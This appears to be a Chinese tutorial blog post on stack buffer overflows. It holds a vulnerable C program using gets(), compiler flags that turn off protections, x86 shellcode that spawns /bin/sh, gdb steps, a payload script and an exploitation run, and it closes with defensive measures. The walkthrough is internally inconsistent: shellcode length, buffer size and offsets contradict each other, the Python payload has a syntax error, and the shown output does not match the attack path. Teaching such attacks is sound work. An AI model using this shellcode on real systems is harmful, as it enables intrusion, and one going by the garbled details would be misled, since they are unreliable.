缓冲区溢出攻击的底层技术逻辑与攻防策略-CSDN博客

缓冲区溢出攻击的本质，是对程序内存边界检查机制的恶意突破，以及对内存中关键控制数据的非法篡改，最终实现对程序执行逻辑的非授权劫持。

从内存模型视角看，程序运行时的内存空间（如栈、堆、数据段）存在严格的逻辑划分，缓冲区作为数据存储区域，其容量由程序预先定义（如char buf[100]）。正常情况下，数据写入应限定在缓冲区的地址范围内，但攻击者通过构造超长输入数据，刻意越过这一边界，触发 “溢出”—— 这一行为的本质是破坏了内存访问的合法性契约，将数据写入本应受保护的相邻内存区域（如栈中的函数返回地址、堆中的管理元数据）。

对比维度	栈（Stack）	堆（Heap）	数据段（Data Segment）
分配与释放方式	由编译器自动分配和释放，函数调用时入栈，函数结束时出栈，无需程序员干预	由程序员通过malloc()/free()、new/delete等函数手动分配和释放，若未释放会导致内存泄漏（进程结束后由系统回收）	由编译器在程序加载时自动分配，进程结束时由系统释放，无需程序员干预
内存布局与地址增长方向	地址空间连续且大小固定（通常几 MB），增长方向为从高地址向低地址延伸	地址空间不连续且大小动态变化（接近系统可用内存上限），增长方向为从低地址向高地址延伸	地址空间连续且大小固定（由程序中全局 / 静态变量的定义决定），无明显增长方向
存储内容	主要存储函数上下文信息，包括局部变量、函数参数、返回地址、栈帧指针等	主要存储动态分配的数据，如动态数组、结构体、全局缓存、动态链表节点等	存储已初始化的全局变量和静态变量（如int global_var = 10;、static float static_val = 3.14;）
访问效率与安全性	效率极高，分配仅需调整栈指针（1-2 条指令）；安全性依赖边界检查，溢出可能篡改控制信息	效率较低，分配需遍历空闲链表，释放需合并空闲块；安全性与元数据相关，溢出可能篡改空闲链表指针	效率较高，访问时直接通过固定地址索引；数据在编译期确定，安全性较高，无动态分配导致的溢出风险
生命周期	与函数调用周期绑定，函数退出时立即释放，无残留数据	由程序员控制，从分配到释放可跨越多个函数调用甚至整个进程生命周期	与进程生命周期一致，程序启动时创建，进程结束时释放

更深层次的本质在于对程序执行流的逻辑篡改。程序的执行顺序由指令指针（如 x86 架构的 EIP 寄存器）控制，而该指针的值通常来源于栈中的返回地址（函数调用结束后需跳转的位置）。缓冲区溢出的核心目标，正是通过覆盖这些关键控制数据，将指令指针强制指向攻击者预先植入的恶意代码（Shellcode）或内存中已存在的危险函数（如system()）。这种操作本质上是剥夺了程序自身对执行逻辑的控制权，代之以攻击者的恶意意图。

从计算机体系结构角度看，这种攻击的本质还暴露了底层内存管理机制与上层应用逻辑的信任鸿沟。C/C++ 等语言默认信任开发者会正确处理边界检查，操作系统也默认程序会合法访问内存，这种 “信任假设” 被攻击者利用 —— 当应用层未实现严格的输入校验时，底层机制无法阻止越界写入，最终导致权限边界被突破（如从用户态进程获取内核态权限）。

简言之，缓冲区溢出攻击的本质可概括为：以越界写入为手段，以篡改控制数据为核心，以劫持执行流为目标，最终实现对系统资源的非授权访问与操控，其根源在于内存安全机制的设计缺陷与实现疏漏的叠加。

我们通过一个简单的C程序例子来详细说明缓冲区溢出如何导致恶意代码执行。

注意：为了教学目的，我们简化了例子，并关闭了一些现代操作系统提供的保护机制（如栈保护、DEP、ASLR等）。在实际系统中，这些保护机制会增加利用难度，但理解基本原理是识别和防范风险的基础。

目标C代码（vulnerable.c）如下：

#include <stdio.h>
#include <string.h>

void secret_function() {
    printf("\n💥 被攻击者激活！正在启动系统shell...\n");
    system("/bin/sh");  // 启动系统shell（攻击者目标）
}

void handle_input() {
    char buffer[8];  // 仅8字节的缓冲区
    printf("输入你的名字: ");
    gets(buffer);    // 危险函数：不检查输入长度
    printf("你好, %s!\n", buffer);
}

int main() {
    handle_input();
    return 0;
}

在这个程序中，`handle_input` 使用了一个不安全的函数 `gets`，它从标准输入读取一行直到遇到换行符或EOF，而不检查缓冲区的大小。因此，如果我们输入超过7个字符（因为C字符串需要以空字符'\0'结尾，所以8字节缓冲区最多容纳7个字符的字符串），就会发生缓冲区溢出。

我们的目标：通过溢出缓冲区，覆盖函数的返回地址，使其跳转到我们注入的恶意代码。

攻击准备（关闭防护机制）

为演示漏洞，编译时关闭防护（实际开发中绝对禁止）：

gcc -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

-fno-stack-protector：禁用栈保护（金丝雀值）
-z execstack：允许栈上执行代码
-no-pie：禁用地址随机化（ASLR）

步骤1：理解栈内存布局

调用 handle_input() 时，栈上会分配空间。典型的栈帧（在x86架构上，栈由高地址向低地址增长）包括：

- 函数参数（这里没有）

- 返回地址（当函数执行完毕后，跳回main函数的地址）

- 旧的栈帧指针（可选，由编译器决定）

- 局部变量（这里就是buffer[8]）

栈结构如下（32位系统）：

高地址
+-------------------+
| 返回地址 (4字节)   |  // 函数结束后跳回main的地址
+-------------------+
| 旧栈帧指针 (4字节) |
+-------------------+
| buffer[0-7] (8字节)| ← 缓冲区的起始地址
+-------------------+
低地址

在32位系统下，返回地址占4字节。因此，从buffer开始到返回地址之前有8字节（缓冲区）+ 可能还有保存的栈帧指针（这里假设没有，所以直接是8字节缓冲区后就是返回地址）。

📌 关键点：buffer 后紧跟着 返回地址，控制它就能劫持程序！

步骤2：构造恶意输入

我们需要覆盖返回地址，所以首先要知道buffer到返回地址的距离。这里我们假设没有栈帧指针，那么：

buffer[0]到buffer[7]：8字节

紧接着就是返回地址（4字节）

因此，输入的前8个字节会填满缓冲区，接下来的4个字节就会覆盖到返回地址。

攻击者需要：

用 Shellcode 覆盖缓冲区（启动shell的机器码）
用 缓冲区的地址 覆盖返回地址

Shellcode 示例（16字节）：

# 启动 /bin/sh 的汇编机器码
shellcode = (
    "\x31\xc0"              # xor eax,eax
    "\x50"                  # push eax
    "\x68\x2f\x2f\x73\x68"  # push "//sh"
    "\x68\x2f\x62\x69\x6e"  # push "/bin"
    "\x89\xe3"              # mov ebx,esp
    "\x50"                  # push eax
    "\x53"                  # push ebx
    "\x89\xe1"              # mov ecx,esp
    "\xb0\x0b"              # mov al,0xb
    "\xcd\x80"              # int 0x80
)

构造输入结构输入结构：

[shellcode (23字节)][填充字符(64-23=41字节)][覆盖返回地址(4字节)][新的返回地址（指向buffer）]

但是，我们需要覆盖的返回地址位于buffer的64字节之后（因为buffer是64字节，所以返回地址在buffer起始地址+64的位置）。因此，我们在输入中：

前23字节：shellcode

接下来41字节：用任意字符填充（例如'A'）

最后4字节：buffer的起始地址（我们希望跳转到这个地址执行shellcode）

注意：在实际情况中，我们需要知道buffer的确切地址。由于我们关闭了ASLR，程序每次运行时栈地址是固定的。我们可以通过调试器（如gdb）获取buffer的地址。

获取buffer地址用gdb运行程序： gdb ./vulnerable 在vulnerable_function的gets函数调用前设置断点（例如：b 8）

运行：r

在断点处，打印buffer的地址：p &buffer

假设我们得到的buffer地址是：0xffffd580

步骤3：计算偏移量

通过调试器获取关键地址：

gdb ./vulnerable
(gdb) b handle_input   # 在函数入口设断点
(gdb) run
(gdb) print &buffer    # 打印缓冲区地址 → 0xffffd580
(gdb) info frame       # 查看返回地址位置

返回地址位于 buffer + 12（8字节缓冲区 + 4字节旧栈帧指针）

步骤4：组装攻击载荷

import struct

buf_addr = 0xffffd580     # 缓冲区地址
shellcode = "\x31\xc0...\xcd\x80"  # 16字节Shellcode

payload = (
    shellcode +             # 前16字节：恶意代码
    "A" * (12 - len(shellcode))  # 填充到返回地址前
    struct.pack("<I", buf_addr)  # 覆盖返回地址为缓冲区地址
)

open("payload.txt", "wb").write(payload)

注意：我们这里用64字节正好覆盖到返回地址的位置，然后覆盖返回地址为buffer的地址。
最终 payload.txt 内容：

| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13-16      |
|---------------------------------------------------------------|
| 机器码         | AAAA | 0x80 | 0xd5 | 0xff | 0xff | ← 小端格式地址

步骤5：执行攻击

cat payload.txt | ./vulnerable

程序运行过程：

gets() 将超长数据复制到 buffer
数据溢出覆盖返回地址为 0xffffd580
函数返回时跳转到 buffer 起始处
CPU 执行 Shellcode，启动 /bin/sh

输入你的名字: 
💥 被攻击者激活！正在启动系统shell...
$ whoami  # 攻击者获得系统Shell！
attacker

如何识别和防范风险

风险识别

危险函数：gets(), strcpy(), sprintf() 等
缺乏边界检查：未验证输入长度
老旧代码：未启用现代防护机制的遗留系统

防护措施

防护层	技术	作用
代码层	使用 `fgets()`, `strncpy()`	强制限定输入长度
编译层	`-fstack-protector`	添加金丝雀值检测栈破坏
系统层	ASLR (`/proc/sys/kernel/randomize_va_space`)	随机化内存地址
硬件层	NX/DEP（数据执行保护）	禁止栈执行代码

安全代码示例

void safe_function() {
    char buffer[8];
    printf("输入你的名字: ");
    fgets(buffer, sizeof(buffer), stdin);  // 限制最大长度
    buffer[strcspn(buffer, "\n")] = '\0';  // 移除换行符
    printf("你好, %s!\n", buffer);
}